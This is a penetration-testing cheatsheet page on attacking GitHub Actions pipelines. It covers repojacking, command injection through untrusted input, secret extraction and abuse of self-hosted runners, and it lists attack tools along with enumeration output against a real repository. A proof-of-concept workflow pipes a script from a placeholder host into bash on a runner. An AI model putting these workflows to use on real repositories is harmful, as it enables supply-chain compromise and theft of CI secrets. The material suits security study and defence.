daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

cicd-github-actions.md (7614B)


      1 ---
      2 title: "CI/CD - GitHub Actions"
      3 section: "DevOps"
      4 sectionSlug: "devops"
      5 sourcePath: "docs/devops/cicd-github-actions.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/devops/cicd-github-actions.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # CI/CD - GitHub Actions
     12 
     13 GitHub Actions is GitHub’s built-in CI/CD automation tool that lets you build, test, and deploy your code right from your GitHub repository. It runs workflows triggered by events like code pushes, pull requests, or manual triggers.
     14 
     15 ## Lab
     16 
     17 * [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow/) - A GitHub Actions Supply Chain CTF / Goat
     18 
     19 ## Default Action
     20 
     21 The configuration files for GH actions are located in the directory `.github/workflows/`
     22 
     23 You can tell if the action builds pull requests based on its trigger (`on`) instructions:
     24 
     25 ```yaml
     26 on:
     27   push:
     28     branches:
     29       - master
     30   pull_request:
     31 ```
     32 
     33 In order to run a command in an action that builds pull requests, add a `run` instruction to it.
     34 
     35 ```yaml
     36 jobs:
     37   print_issue_title:
     38     runs-on: ubuntu-latest
     39     name: Command execution
     40     steps:
     41     - run: echo whoami"
     42 ```
     43 
     44 `workflow_dispatch` is a special trigger in GitHub Actions that allows you to manually trigger a workflow from the GitHub UI or via the GitHub API.
     45 
     46 ```yml
     47 name: example
     48 on:
     49   workflow_dispatch:
     50   push:
     51     branches: [ main ]
     52   pull_request:
     53     branches: [ main ]
     54 
     55 jobs:
     56   build:
     57     runs-on: windows-2019
     58 
     59     steps:
     60       - name: Execute
     61         run: |
     62           whoami
     63 ```
     64 
     65 ## Misconfigured Actions
     66 
     67 Analyze repositories to find misconfigured Github actions.
     68 
     69 * [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows.
     70 * [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD.
     71 
     72     ```ps1
     73     # Using Docker
     74     $ docker run ghcr.io/boostsecurityio/poutine:latest
     75 
     76     # Analyze a local repository
     77     $ poutine analyze_local .
     78 
     79     # Analyze a remote GitHub repository
     80     $ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow
     81 
     82     # Analyze all repositories in a GitHub organization
     83     $ poutine -token "$GH_TOKEN" analyze_org messypoutine
     84 
     85     # Analyze all projects in a self-hosted Gitlab instance
     86     $ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo
     87     ```
     88 
     89 ![GitHub-Actions-Attack-Diagram](https://raw.githubusercontent.com/jstawinski/GitHub-Actions-Attack-Diagram/refs/heads/main/GitHub%20Actions%20Attack%20Diagram.svg)
     90 
     91 ### Repository Hijacking
     92 
     93 When the action is using a non-existing action, Github username or organization.
     94 
     95 ```yaml
     96 - uses: non-existing-org/checkout-action
     97 ```
     98 
     99 > :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/)
    100 
    101 ### Untrusted Input Evaluation
    102 
    103 An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
    104 
    105 ```yaml
    106 jobs:
    107   print_issue_title:
    108     runs-on: ubuntu-latest
    109     name: Print issue title
    110     steps:
    111     - run: echo "${{github.event.issue.title}}"
    112 ```
    113 
    114 ### Extract Sensitive Variables and Secrets
    115 
    116 **Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context.
    117 
    118 **Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context.
    119 
    120 ```yml
    121 jobs:
    122   build:
    123     runs-on: ubuntu-latest
    124     environment: env
    125     steps:
    126       - name: Access Secrets
    127         env:
    128             SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }}
    129         run: |
    130             echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties
    131 ```
    132 
    133 * [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets.
    134 
    135 ## Self-Hosted Runners
    136 
    137 A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment.
    138 
    139 Scan a public GitHub Organization for Self-Hosted Runners
    140 
    141 * [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition
    142 * [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool
    143 
    144     ```ps1
    145     gato -s enumerate -t targetOrg -oJ target_org_gato.json
    146     ```
    147 
    148 There are 2 types of self-hosted runners: non-ephemeral and ephemeral.
    149 
    150 * **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment.
    151 * **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary.
    152 
    153 Identify the type of self-hosted runner with `gato`:
    154 
    155 ```ps1
    156 gato e --repository vercel/next.js
    157 [+] The authenticated user is: swisskyrepo
    158 [+] The GitHub Classic PAT has the following scopes: repo, workflow
    159     - Enumerating: vercel/next.js!
    160 [+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners!
    161 [+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner!
    162     - The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal
    163 [!] The repository contains a non-ephemeral self-hosted runner!
    164 [-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible.
    165 ```
    166 
    167 Example of workflow to run on a non-ephemeral runner:
    168 
    169 ```yml
    170 name: POC
    171 on:
    172   pull_request:
    173   
    174 jobs:
    175   security:
    176     runs-on: non-ephemeral-runner-name
    177 
    178     steps:
    179       - name: cmd-exec
    180         run: |
    181           curl -k https://ip.ip.ip.ip/exec.sh | bash
    182 ```
    183 
    184 ## References
    185 
    186 * [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners)
    187 * [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation)
    188 * [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot)
    189 * [Weaponizing Dependabot: Pwn Request at its finest - Sébastien Graveline - 02/06/2025](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)